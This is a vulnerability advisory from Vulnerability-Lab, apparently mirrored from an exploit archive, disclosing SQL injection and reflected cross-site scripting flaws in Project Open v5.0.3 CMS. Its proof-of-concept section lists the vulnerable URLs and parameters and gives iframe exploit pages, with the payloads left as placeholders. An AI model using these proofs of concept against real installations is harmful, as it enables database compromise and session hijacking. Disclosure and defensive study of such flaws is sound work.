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## https://sploitus.com/exploit?id=PACKETSTORM:157410
Document Title:  
===============  
Project Open v5.0.3 CMS - Multiple Web Vulnerabilities  
  
  
References (Source):  
====================  
https://www.vulnerability-lab.com/get_content.php?id=2225  
  
  
Release Date:  
=============  
2020-04-25  
  
  
Vulnerability Laboratory ID (VL-ID):  
====================================  
2225  
  
  
Common Vulnerability Scoring System:  
====================================  
7.3  
  
  
Vulnerability Class:  
====================  
Multiple  
  
  
Current Estimated Price:  
========================  
2.000€ - 3.000€  
  
  
Product & Service Introduction:  
===============================  
Join more than 20.000 users and become part of our Community. You will  
be able to track your incidents,  
create new tickets, add product ideas and track the progress of development.  
  
(Copy of the Homepage: http://project-open.net/ )  
  
  
Abstract Advisory Information:  
==============================  
The vulnerability laboratory core research team discovered multiple web  
vulnerabilities in the official Project Open v5.0.3 CMS.  
  
  
Affected Product(s):  
====================  
Project-Open  
Product: Project Open v5.0.3 - CMS (Web-Application)  
  
  
Vulnerability Disclosure Timeline:  
==================================  
2020-04-27: Public Disclosure (Vulnerability Laboratory)  
  
  
Discovery Status:  
=================  
Published  
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
Severity Level:  
===============  
High  
  
  
Authentication Type:  
====================  
Restricted authentication (user/moderator) - User privileges  
  
  
User Interaction:  
=================  
No User Interaction  
  
  
Disclosure Type:  
================  
Independent Security Research  
  
  
Technical Details & Description:  
================================  
1.1  
Multiple remote sql-injection web vulnerabilities has been discovered in  
the official Project Open v5.0.3 CMS web-application.  
The vulnerability allows remote attackers to inject or execute own sql  
commands to compromise the dbms or file system of the application.  
  
The sql injection vulnerabilities are located in the `order_by`,  
`forum_order_by` and `audit_id` parameters of the  
`./intranet-expenses/index`  
and `./intranet-audit/view` modules. The request method to inject or  
execute commands is GET and the attack vector is located on the  
application-side.  
Attackers with privileged accounts to edit are able to inject own sql  
queries via order or id parameter to compromise the dbms. Multiple  
unhandled  
and broken sql queries are visible as default debug to output for  
different roles as well.  
  
Exploitation of the remote sql injection vulnerability requires no user  
interaction and a privileged web-application user account.  
Successful exploitation of the remote sql injection results in database  
management system, web-server and web-application compromise.  
  
Request Method(s):  
[+] GET  
  
Vulnerable Module(s):  
[+] ./intranet-expenses/index  
[+] ./intranet-audit/view  
  
Vulnerable Parameter(s):  
[+] forum_order_by  
[+] order_by  
[+] audit_id  
  
  
  
1.2  
Multiple non-persistent cross site scripting vulnerabilities has been  
discovered in the official Project Open v5.0.3 CMS web-application.  
The vulnerability allows remote attackers to inject own malicious script  
codes with non-persistent attack vector to compromise browser  
to web-application requests from the client-side.  
  
The cross site scripting web security vulnerabilities are located in the  
`bread_crum_path` and `re_path` parameters of the  
`./intranet/projects/view` and `./intranet-filestorage` modules. The  
request method to inject the malicious script code is  
GET and the attack vector of the vulnerability is non-persistent on  
client-side.  
  
Remote attackers are able to inject own script codes to the client-side  
requested vulnerable web-application parameters. The attack vector of  
the vulnerability is non-persistent and the request method to  
inject/execute is GET. The vulnerabilities are classic client-side cross  
site  
scripting vulnerabilities. Successful exploitation of the vulnerability  
results in session hijacking, non-persistent phishing attacks,  
non-persistent external redirects to malicious source and non-persistent  
manipulation of affected or connected application modules.  
  
Request Method(s):  
[+] GET  
  
Vulnerable Module(s):  
[+] ./intranet/projects/view  
[+] ./intranet-filestorage  
  
Vulnerable Parameter(s):  
[+] bread_crum_path  
[+] rel_path  
  
  
Proof of Concept (PoC):  
=======================  
1.1  
The remote sql-injection web vulnerabilities can be exploited by  
authenticated privileged user accounts without user interaction.  
For security demonstration or to reproduce the vulnerability follow the  
provided information and steps below to continue.  
  
  
PoC: SQL-Injection  
https://po-cms.localhost:80/intranet/?forum_max_entries_per_page=10&forum_order_by='[SQL  
INJECTION]--&forum_object_id=0&forum_start_idx=10&  
https://po-cms.localhost:80/intranet-expenses/index?end_date=2020-04-25&unassigned=todo&expense_type_id=&project_id=29129&start_date=2000-01-01&orderby='[SQL  
INJECTION]--  
https://po-cms.localhost:80/intranet-audit/view?return_url=%2fintranet-confdb%2fnew%3fform_mode%3ddisplay%26conf_item_id%3d43412&audit_id='[SQL  
INJECTION]--  
  
  
PoC: Exploit  
<html>  
<head><body>  
<title>Project Open Intranet CMS v</title>  
<iframe  
src="https://po-cms.localhost:80/intranet/?forum_max_entries_per_page=10&forum_order_by='[SQL  
INJECTION]--&forum_object_id=0&forum_start_idx=10&"></iframe>  
<iframe  
src="https://po-cms.localhost:80/intranet-expenses/index?end_date=2020-04-25&unassigned=todo&expense_type_id=&project_id=29129&start_date=2000-01-01&orderby='[SQL  
INJECTION]--"></iframe>  
<iframe  
src="https://po-cms.localhost:80/intranet-audit/view?return_url=%2fintranet-confdb%2fnew%3fform_mode%3ddisplay%26conf_item_id%3d43412&audit_id='[SQL  
INJECTION]--"></iframe>  
</body></head>  
<html  
  
  
Reference(s):  
https://po-cms.localhost:80/intranet/  
https://po-cms.localhost:80/intranet-audit/view  
https://po-cms.localhost:80/intranet-expenses/index  
  
  
--- Error Exception Logs ---  
im_category_from_id(a.audit_object_status_id) as audit_object_status,  
im_name_from_user_id(a.audit_user_id) as audit_user_name,  
to_char(a.audit_date, 'YYYY-MM-DD') as audit_date_pretty  
-  
LEFT OUTER JOIN im_audits last_a ON (a.audit_last_id = last_a.audit_id),  
acs_objects o,  
acs_object_types ot  
-  
where a.audit_object_id = o.object_id and  
ot.object_type = o.object_type and  
a.audit_id = '''16899'  
-  
  
  
1.2  
The client-side cross site scripting web vulnerabilities can be  
exploited by remote attackers without account and with low user interaction.  
For security demonstration or to reproduce the vulnerability follow the  
provided information and steps below to continue.  
  
  
PoC: Cross Site Scripting  
https://po-cms.localhost:80/intranet/?forum_max_entries_per_page=&forum_order_by=&forum_object_id=0&forum_start_idx=10&=&bread_crum_path=[CROSS  
SITE SCRIPTING]  
https://po-cms.localhost:80/intranet/projects/view?project_id=29129&view_name=files&bread_crum_path=[CROSS  
SITE SCRIPTING]  
https://po-cms.localhost:80/intranet-filestorage/folder_status_update?status=c&return_url=&rel_path=[CROSS  
SITE SCRIPTING]  
  
  
PoC: Exploit  
<html>  
<head><body>  
<title>Project Open Intranet CMS v</title>  
<iframe  
src="https://po-cms.localhost:80/intranet/?forum_max_entries_per_page=&forum_order_by=&forum_object_id=0&forum_start_idx=10&=&bread_crum_path=[HTML/JS  
PAYLOAD]"></iframe>  
<iframe  
src="https://po-cms.localhost:80/intranet/projects/view?project_id=29129&view_name=files&bread_crum_path=[HTML/JS  
PAYLOAD]"></iframe>  
<iframe  
src="https://po-cms.localhost:80/intranet-filestorage/folder_status_update?status=c&return_url=&rel_path=[HTML/JS  
PAYLOAD]"></iframe>  
</body></head>  
<html>  
  
  
Reference(s):  
https://po-cms.localhost:80/intranet/  
https://po-cms.localhost:80/intranet-filestorage/  
https://po-cms.localhost:80/intranet/projects/view/  
  
  
Credits & Authors:  
==================  
Vulnerability-Lab -  
https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab  
Benjamin Kunz Mejri -  
https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.  
  
  
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=========================  
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